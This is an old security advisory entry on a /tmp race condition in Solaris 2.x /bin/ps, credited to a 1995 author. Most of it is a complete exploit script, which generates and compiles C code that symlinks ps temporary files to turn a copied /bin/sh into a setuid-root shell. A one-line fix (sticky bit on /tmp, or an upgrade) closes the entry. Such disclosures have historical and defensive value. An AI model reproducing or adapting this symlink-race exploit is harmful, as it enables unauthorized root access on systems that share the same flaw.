COMMAND
/bin/ps
SYSTEMS AFFECTED
Solaris 2.X (prior to 2.4?)
PROBLEM
Lefty@real.com in 1995 heard a rumor that there was a potential
race condition in /bin/ps so he decided to investigate..
He did a truss on /bin/ps and noticed that it created a
temporary file, chown root the temp file then renames it to
ps_data if /tmp/ps_data was not present.
The last part of the temp filename was based on pid, but he
couldn't figure out exactly how, so he just scan the directory
(which means that it may take longer to work).. Exploit that
follows is in shell script mode:
#!/bin/sh
#
# Syntax: ps_race.sh targetfile
#
# SOLARIS 2.x ONLY
#
echo .oO PS exploit written by lefty@real.com 1995 Oo.
echo
PATH=/usr/ucb:/usr/bin:/bin:. export PATH
IFS=" " export IFS
# make the exploit program
echo Generating source file
cat >ps_exp.c <<EOF
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
extern int errno;
main (argc,argv)
int argc;
char **argv;
{
char ps_tmp[25];
DIR *dir;
struct dirent *direntry;
struct stat target_file;
if (argc != 2) {
printf("Usage: %s <filename>\n",argv[0]);
exit (1);
}
/* check if its possible, if /tmp is mode +t then you cannot use this */
if(unlink("/tmp/ps_data")!=0) {
if(errno==1) {
printf("%s: error removing /tmp/ps_data - is /tmp mode +t?\n",argv[0]);
exit(1);
}
}
/* make sure that the target file is there */
if (access(argv[1],F_OK)) {
printf ("%s: unable to find %s\n",argv[0],argv[1]);
exit (1);
}
printf("Attempting to snag root\n");
dir=opendir("/tmp");
sprintf(ps_tmp,"/tmp/");
/* clean up /tmp so that we dont bother with the wrong file */
while ((direntry=readdir(dir)) != NULL) {
if (!strncmp(direntry->d_name,"ps.",3)) {
sprintf(&ps_tmp[5],"%s",direntry->d_name);
unlink(ps_tmp);
}
}
while(1) {
while ((direntry=readdir(dir)) != NULL) {
if (!strncmp(direntry->d_name,"ps.",3)) {
sprintf(&ps_tmp[5],"%s",direntry->d_name);
unlink(ps_tmp);
symlink(argv[1],ps_tmp);
if (stat(argv[1],&target_file) >= 0)
if (target_file.st_uid == 0) {
printf("%s is now suid root\n",argv[1]);
while ((direntry=readdir(dir)) != NULL) {
if (!strncmp(direntry->d_name,"ps.",3)) {
sprintf(&ps_tmp[5],"%s",direntry->d_name);
unlink(ps_tmp);
}
}
closedir(dir);
unlink("/tmp/ps_data");
exit(0);
}
}
}
rewinddir(dir);
unlink("/tmp/ps_data");
}
}
EOF
echo Compiling source file
cc -o ps_exp ps_exp.c
# Check we now have ps_exp
if [ ! -x "ps_exp" ]; then
echo "`basename $0`: couldnt compile ps_exp.c - is cc installed?"
exit 1
fi
# start the race
cp /bin/sh /tmp/rootshell; chmod 4755 /tmp/rootshell
sh -c 'while true ; do nice -19 /usr/bin/ps > /dev/null ; done' &
PS_PID=$!
cat <<EOF
This may take a while, if you break out, you will want to kill
process $PS_PID If you let the script finish, it will kill it
for you as well as remove all files generated by this script
EOF
ps_exp /tmp/rootshell
# if the program exited, we have a root shell, so kill ps
kill -9 $PS_PID
echo Cleaning up
rm ps_exp.c ps_exp
SOLUTION
To fix this hole, as root type: chmod +t /tmp or simpli upgrade
your software.